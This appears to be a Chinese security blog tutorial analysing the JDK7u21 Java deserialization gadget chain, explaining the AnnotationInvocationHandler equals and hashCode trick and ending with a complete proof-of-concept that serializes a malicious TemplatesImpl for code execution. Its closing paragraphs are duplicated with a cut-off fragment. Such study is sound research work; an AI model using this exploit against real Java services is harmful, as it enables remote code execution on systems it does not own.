JDK7u21原生反序列化利用链
先来看看ysoserial当中payload的调用链:
LinkedHashSet.readObject()
LinkedHashSet.add()
…
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
…
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
…
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
…
MaliciousClass.()
…
Runtime.exec()
核心调用链
从TemplatesImpl.getOutputProperties()开始是很熟悉的,而调用它用的AnnotationInvocationHandler
类也在之前CC1利用链出现过:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
当时只用到了这个类会触发 Map#put 、 Map#get 的特点,这条利用链则是用到了其equalsImpl
方法去调用Method.invoke
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
有个很明显的反射调用 memberMethod.invoke(o)
,而 memberMethod 由getMemberMethods()方法获得,最终是由this.type.getDeclaredMethods()得到的type属性设置的类的所有方法。
private final Class<? extends Annotation> type;
private Method[] getMemberMethods() {
if (memberMethods == null) {
memberMethods = AccessController.doPrivileged(
new PrivilegedAction<Method[]>() {
public Method[] run() {
final Method[] mm = type.getDeclaredMethods();
AccessibleObject.setAccessible(mm, true);
return mm;
}
});
}
return memberMethods;
}
equalsImpl 这个方法是将 this.type 类中的所有方法遍历并执行了。那么,假设
this.type 是Templates类,则势必会调用到其中的 newTransformer() 或getOutputProperties()方法,进而触发任意代码执行。
查找这个私有方法 equalsImpl
的调用,在AnnotationInvocationHandler.invoke()
中对就有,当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
//在这调用hashCodeImpl()
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
invoke方法的调用方式在动态代理那就有提过
Proxy类:
static Class<?> getProxyClass( ClassLoader loader, //指定代理类的类加载器 Class<?>... interfaces //要实现的代理类的接口列表。 ) //创建一个代理类所对应的Class对象。 static Object newProxyInstance( ClassLoader loader, //指定代理类的类加载器。 Class<?>[] interfaces, //目标对象实现的接口的类型 InvocationHandler h //事件处理器 ) //返回一个指定接口的代理类实例,该接口可以将方法调用指派到指定的调用处理程序。
InvocationHandler类:
java.lang.reflect.InvocationHandler
接口用于调用Proxy
类生成的代理类方法。Object invoke(Object proxy, Method method, Object[] args) // 在代理实例上处理方法调用并返回结果。
而 AnnotationInvocationHandler 就是一个 InvocationHandler 接口的实现,其invoke方法自然可以通过动态代理调用。
调用equals方法
接着就是要满足equalImpl调用条件了,即方法名等于“equals”,且仅有一个Object类型参数。
看到HashSet的readObject方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
这里获取了一个HashMap,然后将对象通过map.put保存在HashMap的key处来做去重,当中自然会需要equals比较操作。
HashMap是一个集合,键值对的集合,源码中每个节点用Node<K,V>表示:
static class Node<K,V> implements Map.Entry<K,V> { final int hash; final K key; V value; Node<K,V> next;
Node是一个内部类,这里的key为键,value为值,next指向下一个元素,可以看出HashMap中的元素不是一个单纯的键值对,还包含下一个元素的引用。
HashMap是由数组和链表组成的,数组的索引就是key的hash值,只有哈希相同的两个对象(key-value),才会进行比较被连接到同一条链表上。这时再看HashMap.put方法就很清楚了。
先有一个key-value存入,当存入第二个key-value时,如果其key的hash值和已经存入键值对的key的hash相等那就调用第二个key的equals。当第二个key设置为AnnotationInvocationHandler时就能调用到equalImpl方法了。
也就是说得使proxy对象和TemplateImpl对象的哈希值相等。
在Hashmap.put中主要通过hash函数计算,主要逻辑如下:
public static int hash(Object key) {
int h = 0;
h ^= key.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
h = h ^ (h >>> 7) ^ (h >>> 4);
return h & 15;
}
变量就一个key.hashCode(),那只要对象的hashCode()方法返回值一样就行。TemplateImpl的 hashCode() 是一个Native方法,每次运行都会变。而proxy对象的hashCode() 的处理逻辑是可见的,Proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到
AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
遍历 memberValues 这个Map中的每个key和value,计算每个(127 *key.hashCode()) ^value.hashCode()
并求和。
查看memberValueHashCode函数处理逻辑,当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^value.hashCode()
。
当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode()
。当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等。
因此只需要通过脚本爆破找到一个hashCode
是0的对象,ysoserial中用到的字符串是f5a5a608
。
最终得到我们需要的 AnnotationInvocationHandler 对象,其type属性为TemplateImpl类、memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 ,value是前面生成的恶意TemplateImpl对象。
HashMap map = new HashMap();
map.put("f5a5a608", templatesImpl);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);
然后动态代理下这个类,整个HashSet把两个对象放进去:
POC:
package serJDK7u21;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class JDK7u21 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazzz = pool.get(evalClassTemplatesImpl.class.getName());
byte[] code = clazzz.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
// value先随便设置一个值,防止生成的时候触发
HashMap map = new HashMap();
map.put("f5a5a608", "any");
// 实例化AnnotationInvocationHandler类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Templates.class, map);
//进行代理设置
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, handler);
HashSet set = new LinkedHashSet();
set.add(templatesImpl);
set.add(proxy);
// 将恶意templates设置到map中
map.put("f5a5a608", templatesImpl);
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
//反序列化
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
用LinkedHashSet保证稳定性
可以看到POC中并没有使用前面说的HashSet而是LinkedHashSet。
HashSet、LinkedHashMap都是基于HashMap的数据结构理论上其实一样,但对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。
而LinkedHashSet使用LinkedList维护插入元素的先后顺序,就可以确保后续触发。
反正我自己尝试如果使用HashSet的话2次到10多次才成功很不稳定,显然是不能接受的。
参考:
Java安全漫谈 - 18.原生反序列化利用链JDK7u21
http://t.zoukankan.com/9eek-p-15345211.html
shMap都是基于HashMap的数据结构理论上其实一样,但对于对象的hash值,是根据对象保持在内存中的地址取整得到的,所以就会存在一定的随机性,不管是序列化还是反序列化都无法保证proxy做为第二个元素被添加进去,也就没发保证euqal方法会触发proxy的invoker,无法执行templates的可执行方法。
而LinkedHashSet使用LinkedList维护插入元素的先后顺序,就可以确保后续触发。
反正我自己尝试如果使用HashSet的话2次到10多次才成功很不稳定,显然是不能接受的。
参考:
Java安全漫谈 - 18.原生反序列化利用链JDK7u21
http://t.zoukankan.com/9eek-p-15345211.html
https://blog.csdn.net/solitudi/article/details/119211849